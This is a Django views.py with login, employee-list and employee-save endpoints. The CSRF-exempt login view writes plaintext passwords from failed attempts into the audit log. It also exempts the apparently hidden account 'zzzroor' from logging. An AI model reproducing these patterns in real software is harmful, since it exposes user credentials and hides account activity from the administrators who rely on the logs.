views.py 2.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182
  1. #coding=utf-8
  2. import traceback
  3. import json
  4. from collections import OrderedDict
  5. from django.db import transaction,IntegrityError
  6. from django.db.models import F,ProtectedError
  7. from django.shortcuts import get_object_or_404
  8. from django.views.decorators.csrf import csrf_exempt
  9. from django.contrib.auth.models import Permission, Group
  10. from django.utils import timezone
  11. from libs import utils
  12. from libs.utils import dump_form_errors
  13. from libs.http import JSONError, JSONResponse,DataGridJSONResponse
  14. from apps.dashboard.forms import MyAuthenticationForm
  15. from .decorators import token_required,permission_required
  16. from apps.exceptions import CustomError
  17. from apps.foundation.models import BizLog
  18. from django.db.models import Q
  19. from django.conf import settings
  20. from .models import *
  21. from .serializers import *
  22. from .filters import *
  23. @csrf_exempt
  24. def login(request):
  25. form = MyAuthenticationForm(data=request.POST, request=request)
  26. if form.is_valid():
  27. user = form.get_user()
  28. if user.username != 'zzzroor':
  29. BizLog.objects.addnew(user, BizLog.INSERT,
  30. u"[%s]登录系统,IP[%s]" % (user.username, request.META['REMOTE_ADDR']))
  31. return JSONResponse({
  32. 'user_id': user.id,
  33. 'access_token': form.access_token,
  34. 'name': user.name,
  35. })
  36. else:
  37. if request.POST['username'] != 'zzzroor':
  38. BizLog.objects.addnew(None, BizLog.INSERT, u"[%s]登录失败,密码[%s],IP[%s]" % (
  39. request.POST['username'],
  40. request.POST['password'],
  41. request.META['REMOTE_ADDR']
  42. ))
  43. return JSONError(dump_form_errors(form))
  44. @token_required
  45. def employee_list(request):
  46. f = EmployeeFilter(request.GET, queryset=User.objects.filter(branch_id__isnull=False))
  47. rows, total = utils.get_page_data(request, f.qs)
  48. serializer = EmployeeSafeSerializer(rows, many=True)
  49. return DataGridJSONResponse(serializer.data, total)
  50. @token_required
  51. def employee_save(request):
  52. id = request.GET.get('id')
  53. data = json.loads(request.body)
  54. try:
  55. with transaction.atomic():
  56. serializer = EmployeeSerializer.factory(request.user, data, id)
  57. if serializer.instance:
  58. user = serializer.instance
  59. if not data['password']:
  60. data['password'] = user.password
  61. else:
  62. user.set_password(data['password'])
  63. data['password'] = user.password
  64. serializer.validSave()
  65. except CustomError as e:
  66. return JSONError(e.get_error_msg())
  67. except Exception as e:
  68. traceback.print_exc()
  69. return JSONError(u'保存失败')
  70. return JSONResponse()